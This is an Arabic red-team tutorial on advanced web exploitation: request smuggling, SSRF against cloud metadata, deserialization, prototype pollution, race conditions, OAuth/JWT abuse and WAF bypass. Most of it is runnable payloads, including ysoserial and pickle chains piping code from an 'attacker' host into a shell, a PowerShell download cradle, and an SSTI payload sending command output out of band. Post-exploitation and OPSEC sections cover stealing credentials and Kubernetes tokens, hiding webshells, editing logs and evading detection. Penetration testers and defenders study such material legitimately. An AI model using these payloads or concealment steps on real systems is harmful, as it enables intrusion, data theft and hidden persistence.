الفرق الحمراء — الهجومخبير180mL42

الويب من منظور الفريق الأحمر — استغلال متعمّق

سلاسل الاستغلال المتقدمة، وتجاوز جدران الحماية (WAF)

#SSRF#Smuggling#Deserialization#OAuth#WAF Bypass#Race

مقدمة — الويب ليس OWASP Top 10

تشبيه — شرح مبسط
المبتدئ يفكر في الويب كقائمة ثغرات (SQLi، XSS، CSRF). المحترف يفكر فيه كـ طبقات تتفاعل بطرق غير متوقعة: Browser ↔ CDN ↔ WAF ↔ Load Balancer ↔ Reverse Proxy ↔ App ↔ Cache ↔ Queue ↔ DB ↔ Microservices ↔ S3. الـ 0day الحقيقي ليس في طبقة واحدة — بل في الخلاف بين طبقتين حول كيف تفسر نفس البايت.
تنبيه قانوني — نطاق اختبار اختراق فقط
كل ما هنا يُستخدم على أهداف مع تفويض مكتوب صريح، أو في bug bounty داخل الـ scope المعلن، أو في مختبرك الخاص. خارج ذلك = جريمة. لا توجد منطقة رمادية.

هذا الدرس يفترض أنك تتقن OWASP Top 10. هنا نذهب إلى ما يستخدمه فعلياً orange.tw, snyff, albinowax, James Kettle: request smuggling مركّب، prototype pollution → RCE، deserialization gadget chains، SSRF عبر cloud metadata، race conditions على single-packet، OAuth abuse، WAF bypass عبر parser differential.

منهجية Red Team للويب — قبل الاستغلال

01
رسم خريطة الـ stack

قبل ضربة واحدة، ارسم: ما هو CDN؟ Cloudflare/Akamai/Fastly؟ ما هو WAF؟ ما origin server؟ هل خلفه load balancer؟ هل التطبيق Java/Node/Python/Go/.NET؟ كل إجابة تفتح فئة ثغرات و تغلق أخرى.

bash
# أساسيات
curl -sI https://target | head -30          # Server, X-Powered-By, CF-Ray, Via
nslookup target                               # IP، CNAME، Anycast؟
whatweb -a 4 https://target
wafw00f https://target
# هل الـ origin مكشوف؟
shodan search ssl:"target.com" -c 200          # أو crt.sh + scan IPs مباشرة
02
بصمة الـ parser stack

الـ HTTP parser الذي يعمل على CDN قد يفسر Content-Length بطريقة، و الـ origin بطريقة أخرى. هذا الفرق هو أصل request smuggling. أرسل طلبات malformed خفيفة و راقب الفروق:

bash
# طلب بـ Content-Length و Transfer-Encoding معاً
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGGG' | \
  ncat --ssl target 443
# اختلاف الردود = الـ stack vulnerable لـ desync
03
كشف الأسطح المخفية
bash
# مسارات admin، debug، API قديم
ffuf -u https://target/FUZZ -w SecLists/Discovery/Web-Content/raft-large-words.txt -mc 200,301,403
# JS bundles قد تكشف endpoints
linkfinder -i 'https://target/static/*.js' -o cli
# parameter discovery
arjun -u https://target/api/v2/users
# subdomain takeover
subzy run --targets subs.txt

HTTP Request Smuggling — قلب أبحاث 2019-2026

تشبيه — شرح مبسط
تخيل أن CDN يقرأ "هذا طلب واحد طوله 100 بايت"، و origin يقرأ "هذان طلبان". البايتات الزائدة عند CDN تصبح بداية طلب الضحية التالي. أنت تكتب جزءاً من طلب شخص آخر — تختطف الجلسات، تسرق cookies، تتجاوز WAF.
CL.TE الكلاسيكي
http
POST / HTTP/1.1
Host: target
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

CDN يستخدم CL=13 → يمرر كل شيء. Origin يستخدم TE=chunked → يقرأ "0\\r\\n\\r\\n" كنهاية، و SMUGGLED يصبح بداية الطلب التالي.

TE.CL
http
POST / HTTP/1.1
Host: target
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

العكس — CDN يأخذ TE، origin يأخذ CL. شائع مع HAProxy/Apache.

H2.CL — HTTP/2 desync

في HTTP/2 لا توجد Content-Length — لكن CDN قد يحوّل لـ HTTP/1.1 و يضيف CL خاطئة. ابعث H2 frame مع CL مكذوب → desync حقيقي.

bash
# Burp HTTP Request Smuggler extension
# أو nghttp2 لإرسال frames مخصصة
nghttp -v --header=':method: POST' --header='content-length: 0' \
  https://target -d 'XGGG'
Single-packet desync (2024+)

كشف albinowax: HTTP/1.1 keep-alive + 0.CL يعطي smuggling حتى عبر CDNs ترفض CL/TE. التحدي = توقيت TCP packet boundary.

استغلال متقدم بعد إثبات desync
  • سرقة Authorization headers: smuggle طلب تحت اسم ضحية، اخزن الرد المعكوس في cache.
  • Cache poisoning: اجعل CDN يخزن صفحتك الخبيثة باسم URL شرعي.
  • Internal endpoint bypass: smuggle طلب بـ Host: localhost أو IP داخلي — يصل لـ admin APIs المحجوبة من الخارج.
  • Stored XSS via smuggle: استبدل response لمستخدم آخر → JS تحت origin الموقع.

SSRF متقدم — أكثر من جلب URL

تشبيه — شرح مبسط
SSRF = أنت تجعل السيرفر يطرق الباب نيابة عنك. السيرفر داخل الشبكة، يثق في أصدقائه: cloud metadata API، Redis، databases، internal APIs. ضربة SSRF واحدة = pivot لـ ENV الكاملة.
AWS IMDS — لا يزال يعمل ضد IMDSv1
bash
# إذا التطبيق يجلب URL من user input
curl 'https://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
# الاسم → الـ creds
curl 'https://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME'
# AccessKeyId + SecretAccessKey + Token → الآن أنت EC2 instance
GCP / Azure — مختلفة قليلاً
bash
# GCP — تتطلب header
curl -H 'Metadata-Flavor: Google' \
  'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'
# Azure
curl -H 'Metadata: true' \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

إذا التطبيق يحجب IP literal، جرّب http://169.254.169.254.nip.io، DNS rebinding، أو IPv6 [::ffff:a9fe:a9fe].

Blind SSRF عبر التوقيت + DNS
bash
# لا ترى الرد؟ استخدم out-of-band
curl 'https://target/api?webhook=http://attacker.burpcollab.net/x'
# أو DNS-only: تحفيز التطبيق على resolve لـ subdomain فريد
curl 'https://target/api?host=$(uuidgen).attacker.com'
# سجل DNS hits → SSRF أُكد
Gopher / Redis SSRF
bash
# لو SSRF يقبل أي scheme
curl "https://target/fetch?url=gopher://10.0.0.5:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a..."
# تركيب أوامر Redis كاملة → كتابة مفتاح SSH أو cron job

Deserialization — RCE من سلسلة gadget

تطبيقات Java/PHP/Python/.NET/Ruby التي تـ deserialize input غير موثوق هي نقطة RCE تقليدية. الفكرة: لا تنفذ الكود مباشرة — بل تبني سلسلة من استدعاءات الـ getter/setter/magic methods (gadget chain) ينتهي عند Runtime.exec أو system().

Java — ysoserial
bash
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker/x|sh' > p.bin
curl -X POST https://target/api/object \
  -H 'Content-Type: application/x-java-serialized-object' \
  --data-binary @p.bin

Gadgets: CommonsCollections1-7, Spring1-2, Hibernate1-2, JRMPClient. اختر بناءً على dependencies الموجودة.

.NET — ysoserial.net
bash
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "powershell IEX(IWR http://attacker/p.ps1)" -o base64
# ViewState أو Session
curl 'https://target/Default.aspx' -d "__VIEWSTATE=<base64>"
PHP — phpggc
bash
phpggc -u Laravel/RCE9 system "id" | base64 -w0
# طبق على endpoint يعمل unserialize() على cookie أو body
Python — pickle
python
import pickle, base64, os
class P:
    def __reduce__(self):
        return (os.system, ('curl http://attacker/x|sh',))
print(base64.b64encode(pickle.dumps(P())).decode())

Prototype Pollution — JS من XSS إلى RCE

تشبيه — شرح مبسط
في JavaScript كل object يرث من Object.prototype. لو تستطيع تعديل __proto__، فأنت تعدّل سلوك كل object في التطبيق — بما فيها كائنات لم تُنشأ بعد. على الـ server (Node.js)، هذا يصل لـ RCE.
bash
# Client-side
curl 'https://target/api/merge?__proto__[isAdmin]=true'
# الآن أي {} = isAdmin: true

# Server-side Node.js → RCE
# لو التطبيق يستخدم child_process.spawn أو render template
curl -X POST https://target/api/profile \
  -H 'Content-Type: application/json' \
  --data '{"__proto__":{"shell":"/bin/sh","argv0":"-c","NODE_OPTIONS":"--inspect-brk=0.0.0.0:9229"}}'
# عند أول spawn → debugger مكشوف → CDP RCE
Gadgets معروفة
  • handlebars/pug/ejs: pollute template helpers → SSTI → RCE.
  • express: pollute settings.view → render path traversal.
  • NODE_OPTIONS: pollute env via process.env.NODE_OPTIONS → debugger inject.

Race Conditions — Single-Packet Attack (Kettle 2023)

تشبيه — شرح مبسط
طلبان متطابقان يصلان قبل أن يكمل الأول التحقق → تنفّذ نفس العملية مرتين. كلاسيكياً يحتاج توقيت دقيق. Kettle أثبت أنك تستطيع إرسال 20-30 طلباً في حزمة TCP واحدة → يصلون كلهم في نفس الـ millisecond.
bash
# Burp Suite "Send group in single packet"
# أو turbo-intruder script
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, requestsPerConnection=30, pipeline=False)
    for i in range(30):
        engine.queue(target.req)
engine.openGate()  # يطلق كل الطلبات معاً
استغلالات حقيقية
  • كوبون مرة واحدة يُطبّق 30 مرة → خصم 100% من السلة.
  • تحويل رصيد — استنزاف double-spending.
  • OTP — 6 أرقام × عدد محاولات على جلسات متعددة في نفس الميلي ثانية → bypass rate-limit.
  • دعوة مستخدم لمساحة عمل مدفوعة → 30 invite بـ نفس الـ token.

Cache Poisoning — تسليح CDN

http
# CDN يحدد الـ cache key من URL + بعض headers فقط
# لو التطبيق يعكس X-Forwarded-Host في الرد:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

# Response: <link href="//attacker.com/style.css">
# CDN يخزن هذا الرد لكل الزوار التاليين على /
# = stored XSS عبر cache على homepage

التقنية الأقوى: Cache Deception. /profile/x.css — التطبيق يخدم profile (يتجاهل .css)، CDN يخزنه كـ static. أي زائر بعدك يرى ملفك الشخصي.

OAuth / OIDC — كيف تكسر تسجيل الدخول

  1. Open redirect على redirect_uri: إذا التطبيق يقبل redirect_uri=https://app.com.attacker.com → تصل code للمهاجم.
  2. Authorization code injection: ضحية يولّد code، أنت تُسلّمه لـ session جلسة أخرى → استلاء على حساب.
  3. state parameter مفقود → CSRF على ربط حسابات.
  4. JWT alg=none أو alg=HS256 مع public key كـ secret: jwt_tool -X i.
  5. kid/jku/x5u injection: أشر لـ JWKS مسيطَر عليه → JWT يثبَت بمفتاحك.
  6. Refresh token leakage في referer أو localStorage على XSS.
  7. PKCE bypass: لو السيرفر يقبل code بدون code_verifier → استلاء code → access.
bash
# JWT tool — اختبر الكل دفعة
jwt_tool -t https://target/api -rh "Authorization: Bearer JWT" -M at
# ابحث عن Confused Deputy: JWT signed by IdP A مقبول في app B

GraphQL — سطح هجوم منسي

graphql
# 1) introspection غالباً مفتوح حتى في prod
curl -X POST https://target/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name fields{name}}}}"}'

# 2) Batching attacks → bypass rate-limit على login
{"query":"mutation { l1: login(u:\"a\",p:\"1\"){t} l2: login(u:\"a\",p:\"2\"){t} ... l1000: login(...) }"}

# 3) Field-level IDOR
{ user(id: 99) { email passwordHash } }   # الـ resolver لا يفحص ownership

# 4) Nested query DoS
{ user { friends { friends { friends { ...×10 } } } } }

WAF Bypass — معركة الـ parser

الـ WAF يطبّق regex على ما يفهمه. التطبيق يفهم شيئاً مختلفاً قليلاً. الفرق هو سطح الـ bypass.

ترميز مزدوج
bash
# WAF يفك URL-encode مرة. التطبيق (PHP/.NET) قد يفك مرتين.
?id=1%2527%2520OR%25201=1
# %25 → % → %27 → '
Mixed case + comments
sql
UnIoN/**/SeLeCt/**/1,2,3
# SQL parsers يقبلون كل التوليفات
JSON in URL param
bash
# WAF يفحص as URL، التطبيق يـ JSON.parse
?filter={"$gt":""}   # MongoDB injection
Body smuggling
bash
# Content-Type: text/plain → WAF يتجاهل، التطبيق يقرأ كـ JSON
curl -H 'Content-Type: text/plain' --data '{"role":"admin"}' \
  https://target/api/profile
Unicode normalization
bash
# K (FULLWIDTH K) يصبح K بعد NFKC
?cmd=%EF%BC%AB %EF%BC%A5 %EF%BC%92  # Kerberos? K E 2 ...
# مفيد ضد regex على ASCII فقط
HTTP/2 pseudo-headers

WAFs قديمة لا تفحص :authority بنفس صرامة Host. حقن قيم مختلفة → الـ origin يقرأ غير ما يقرأه WAF.

Blind exploitation — عندما لا ترى شيئاً

  1. OOB (Out-of-Band): Burp Collaborator، interactsh، DNS+HTTP+SMTP. كل subdomain فريد = مؤشر.
  2. Time-based: SLEEP(5) في SQLi، setTimeout في NoSQL، thread.sleep في Java SSTI.
  3. Boolean-based: لاحظ تغيّر طول الرد، عدد الأسطر، أو وجود/غياب كلمة معينة.
  4. Side-channel timing: hash comparison بدون constant-time → تخمين byte-by-byte.
  5. Cache-based: عملية تكلفتها cache miss تكشف وجود/عدم وجود قيمة.
bash
# مثال blind SSTI Jinja2 مع OOB
curl 'https://target/render?name={{config.__class__.__init__.__globals__["os"].popen("curl http://OOB/?$(id)").read()}}'

Post-Exploitation على الويب — بعد RCE

  1. اقرأ env vars فوراً: cat /proc/self/environ, env. DB credentials، AWS keys، JWT secrets.
  2. ابحث عن .env / config.yaml / appsettings.json داخل WORKDIR.
  3. K8s؟ cat /var/run/secrets/kubernetes.io/serviceaccount/token — قد يكون لك RBAC قوي.
  4. Cloud metadata من container: نفس IMDS يعمل من داخل pod غير مقيد.
  5. SSH keys في home، authorized_keys، known_hosts → خريطة pivot.
  6. قاعدة بيانات: استخرج users + password hashes + session tokens. المستخدمون يعيدون استخدام كلمات السر.
  7. زرع backdoor صامت: webshell مخفي في endpoint موجود (مش ملف جديد). أو git hook، أو cron.
  8. غطِّ آثارك: لا تنفّذ rm -rf /var/log — ذلك جرس إنذار. عدّل سجلات محددة.

OPSEC للمهاجم على الويب

  • لا تستخدم IP بيتك. VPN → VPS → target. إن أمكن، CDN-fronted callback.
  • User-Agent يطابق المستهدف: لو الموقع عربي، استخدم Chrome AR. لا تستخدم python-requests/2.28.
  • تجنب أنماط الفحص الجماعي. Nuclei بكل templates يضوّي WAF فوراً. استخدم template-by-template مع --rate-limit 5.
  • تأخير يدوي على الإجراءات الحرجة. إنسان لا ينفّذ 100 طلب في الثانية.
  • اخفِ الـ payload في حقل لا يُسجّل. كثير من التطبيقات تسجّل query string فقط — استخدم body أو cookie.
  • لا تستخدم burpcollaborator.net مباشرة في عمليات حساسة. استضف interactsh على دومين خاص.
  • تنظيف post-exploitation: كل ملف رفعته، سجل أنشأته، حساب أدخلته — وثّقه ثم أزله.

معامل تطبيقية — تعلّم بالتجربة

  • PortSwigger Web Security Academy — أفضل مرجع تفاعلي مجاني.
  • HackTheBox / TryHackMe — مسارات web من الأساسي للخبير.
  • Bug bounty على HackerOne / Bugcrowd — برامج VDP بدون مكافأة لكنها قانونية للتدريب.
  • OWASP Juice Shop / DVWA / WebGoat — معامل محلية.
  • كتاب The Web Application Hacker's Handbook — قديم لكنه أساس لا غنى عنه.
  • أبحاث James Kettle / Orange Tsai / Sam Curry — اقرأ كل ما يكتبون.

الدفاع — مرجع سريع

من شيء واحد فقط لكل تقنية
  • Smuggling: HTTP/2 end-to-end، disable downgrade على CDN، reject ambiguous CL/TE.
  • SSRF: قائمة بيضاء صريحة للـ hosts، حظر IP private + link-local + IMDS، IMDSv2 إجباري.
  • Deserialization: لا تـ deserialize untrusted. لو لازم — JSON فقط مع schema validation.
  • Prototype pollution: Object.freeze(Object.prototype) + libraries حديثة.
  • Race: idempotency keys، DB row locks، single-flight على العمليات الحرجة.
  • Cache: cache-key يشمل كل الـ input headers، لا تخزن responses بـ Vary غامض.
  • OAuth: PKCE إجباري، state إجباري، redirect_uri exact match.
  • GraphQL: عطّل introspection في prod، depth/complexity limits، per-field auth.
  • WAF: layered defense — WAF + input validation داخل التطبيق + output encoding.